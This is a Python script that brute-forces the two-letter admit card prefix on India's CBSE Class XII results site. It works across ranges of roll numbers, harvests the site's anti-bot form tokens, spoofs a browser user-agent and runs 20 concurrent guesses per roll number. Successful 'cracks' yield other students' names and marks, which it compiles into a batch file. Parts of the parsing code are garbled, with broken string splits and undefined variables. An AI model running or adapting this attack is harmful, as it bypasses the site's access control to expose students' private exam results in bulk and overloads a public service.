import concurrent.futures
import itertools
import os
import sys
import time
import requests
LANDING_URL = "https://cbseresults.nic.in/class_xii_b_2026_a/ClassTwelfth_ii26.htm"
POST_URL = "https://cbseresults.nic.in/class_xii_b_2026_a/ClassTwelfth_ii_2026.asp"
FIXED_SCHOOL_NO = ""
MAX_THREADS = 20
def derive_admit_card_id(prefix, roll_no, school_no, centre_middle_two):
return f"{prefix.upper()}{str(roll_no)[-2:]}{str(school_no)[:2]}{centre_middle_two}"
def quick_extract_tokens():
"""Fetches a fresh token pair on a clean session pipeline."""
try:
with requests.Session() as s:
headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}
r = s.get(LANDING_URL, headers=headers, timeout=4)
if r.status_code == 200:
sfid = r.text.split('name="as_sfid" value="')[1].split('"')[0]
fid = r.text.split('name="as_fid" value="')[1].split('"')[0]
return {"as_sfid": sfid, "as_fid": fid}
except:
pass
return {"as_sfid": "", "as_fid": ""}
def parse_and_format_result(html_text, roll_no, matched_admid):
try:
candidate = html_text.split("Candidate Name:")[1].split("")[1].split("")[0].strip()
rows = html_text.split("
")
if len(cells) >= 6:
sub_name = cells[2].split("")[0].strip()
marks_str = cells[5].split(" ")[0].split("")[0].strip()
if marks_str.isdigit():
score = int(marks_str)
subjects_list.append(f" {sub_name:<30} : {score}/100")
if counted_subjects < 5:
total_marks += score
counted_subjects += 1
if counted_subjects == 0: return None
percentage = (total_marks / (counted_subjects * 100)) * 100
output = [
f"Roll Number : {roll_no}",
f"Candidate : {candidate} ({matched_admid})",
"--------------------------------------------------",
]
output.extend(subjects_list)
output.extend([
"--------------------------------------------------",
f"TOTAL MARKS : {total_marks}/{counted_subjects * 100} | PERCENTAGE: {percentage:.2f}%",
"==================================================\n"
])
return "\n".join(output)
except:
return None
def test_prefix_worker(prefix, roll_no, mid_digits, token_pool):
"""Worker function designed to execute an isolated concurrent guess."""
admid = derive_admit_card_id(prefix, roll_no, FIXED_SCHOOL_NO, mid_digits)
token = random.choice(token_pool) if token_pool else {"as_sfid": "", "as_fid": ""}
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36",
"Referer": LANDING_URL
}
payload = {
"regno": str(roll_no),
"sch": str(FIXED_SCHOOL_NO),
"admid": admid,
"B2": "Submit",
"as_sfid": token["as_sfid"],
"as_fid": token["as_fid"]
}
try:
res = requests.post(POST_URL, data=payload, headers=headers, timeout=3)
if res.status_code == 200 and not any(x in res.text.lower() for x in ["invalid", "alert", "not found"]):
return {"prefix": prefix, "html": res.text, "admid": admid}
except:
pass
return None
if __name__ == "__main__":
import random
print("=== CBSE HYPER-THREADED TURBO CHECKER ===")
roll_input = input("Enter Roll Number OR Range (e.g., 15624517): ").strip()
mid_digits = input("Enter the 2 middle digits of Centre No (e.g., 22): ").strip()
roll_list = []
if "-" in roll_input:
start_roll, end_roll = map(int, roll_input.split("-"))
roll_list = list(range(start_roll, end_roll + 1))
else:
roll_list = [int(roll_input)]
letters = "ABCDEFGHIJKLMNOPQRSTUVWXYZ"
all_prefixes = ["".join(p) for p in itertools.product(letters, repeat=2)]
print("[*] Instantiating high-speed session token pool allocation...")
with concurrent.futures.ThreadPoolExecutor(max_workers=5) as token_executor:
token_pool = [t for t in token_executor.map(lambda _: quick_extract_tokens(), range(10)) if t["as_sfid"]]
compiled_results = ["==================================================",
" CBSE PERFORMANCE BATCH REPORT ",
"==================================================\n"]
found_count = 0
start_time = time.time()
for current_roll in roll_list:
print(f"Crack execution initiated on Roll: {current_roll}... ", end="", flush=True)
match_found = False
with concurrent.futures.ThreadPoolExecutor(max_workers=MAX_THREADS) as executor:
futures = [executor.submit(test_prefix_worker, pref, current_roll, mid_digits, token_pool) for pref in all_prefixes]
for future in concurrent.futures.as_completed(futures):
result = future.result()
if result:
executor.shutdown(wait=False, cancel_futures=True)
parsed_report = parse_and_format_result(result["html"], current_roll, result["admid"])
if parsed_report:
print(f"-> Cracked! [ID: {result['admid']}]")
compiled_results.append(parsed_report)
found_count += 1
match_found = True
break
if not match_found:
print("-> Match not found in entire matrix.")
if found_count > 0:
elapsed = time.time() - start_time
print(f"\n[+] Processing Completed. Processed batch records in {elapsed:.2f} seconds.")
filename = f"Turbo_Batch_Results_{roll_list[0]}.txt"
with open(filename, "w", encoding="utf-8") as f:
f.write("\n".join(compiled_results))
os.system(f"notepad.exe {filename}")